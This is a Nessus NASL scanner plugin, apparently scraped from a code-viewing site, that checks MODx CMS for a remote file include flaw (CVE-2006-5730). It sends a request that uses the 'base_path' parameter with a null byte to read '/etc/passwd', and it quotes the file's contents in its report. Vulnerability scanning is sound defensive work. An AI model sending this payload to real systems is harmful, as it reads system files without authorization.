📄 modx_0921_rfi.nasl
字号:
# kst-gpl# # This script was written by Justin Seitz <jms@bughunter.ca># Per Justin : GPLv2#desc["english"] = "Synopsis :The remote web server contains a PHP script that is affected by aremote file include issue. Description:The remote web server is running MODx CMS, an open source contentmanagement system. The version of MODx CMS installed on the remote host fails to sanitizeinput to the 'base_path' parameter before using it in the'manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php'script to include PHP code. Provided PHP's 'register_globals' settingis enabled, an unauthenticated attacker can exploit this issue to viewarbitrary files and execute arbitrary code, possibly taken fromthird-party hosts, on the remote host. See also :http://www.milw0rm.com/exploits/2706http://modxcms.com/forums/index.php/topic,8604.0.htmlSolution :Update to version 0.9.2.2 or later. Risk factor :Medium / CVSS Base Score : 5.1(CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)";if(description){ # set script identifiers script_id(80072);; script_version("$Revision: 1.4 $"); script_cve_id("CVE-2006-5730"); script_bugtraq_id(20898); script_xref(name:"OSVDB", value:"30186"); name["english"] = "MODx CMS base_path Parameter Remote File Include Vulnerability"; summary["english"] = "Tries to read a local file with MODx CMS"; family["english"] = "CGI abuses"; script_name(english:name["english"]); script_description(english:desc["english"]); script_summary(english:summary["english"]); script_category(ACT_ATTACK); script_copyright(english:"This script is Copyright (C) 2006 Justin Seitz"); script_family(english:family["english"]); script_dependencies("http_version.nasl"); script_require_ports("Services/www", 80); script_exclude_keys("Settings/disable_cgi_scanning"); exit(0);}include("global_settings.inc");include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);## verify we can talk to the web server, if not exit#if(!get_port_state(port)) exit(0);if(!can_host_php(port:port)) exit(0);## create list of directories to scan## Loop through directories.if (!thorough_tests) dirs = make_list("/modx", "/cms", cgi_dirs());else dirs = make_list(cgi_dirs());## Iterate through the list#file = "/etc/passwd";foreach dir (dirs) {### Attack: Attempt a remote file include of /etc/passwd## attackreq = http_get(item:string(dir, "/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=", file, "%00"),port:port); attackres = http_keepalive_send_recv(port:port, data:attackreq, bodyonly:TRUE); if (attackres == NULL) exit(0); if (dir == "") dir = "/"; if (egrep(pattern:"root:.*:0:[01]:", string:attackres) || string("main(", file, "\\0manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php): failed to open stream") >< attackres || string("main(", file, "): failed to open stream: No such file") >< attackres || "open_basedir restriction in effect. File(" >< attackres) { passwd = ""; if (egrep(pattern:"root:.*:0:[01]:", string:attackres)) { passwd = attackres; if ("<br" >< passwd) passwd = passwd - strstr(passwd, "<br"); } if (passwd) { info = string("The version of MODx CMS installed in directory '", dir, "'\n", "is vulnerable to this issue. Here is the contents of /etc/passwd\n", "from the remote host :\n\n", passwd); report = string(desc["english"],"\n\nPlugin output\n\n",info); } else report = desc["english"]; security_warning(data:report, port:port); exit(0); }}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -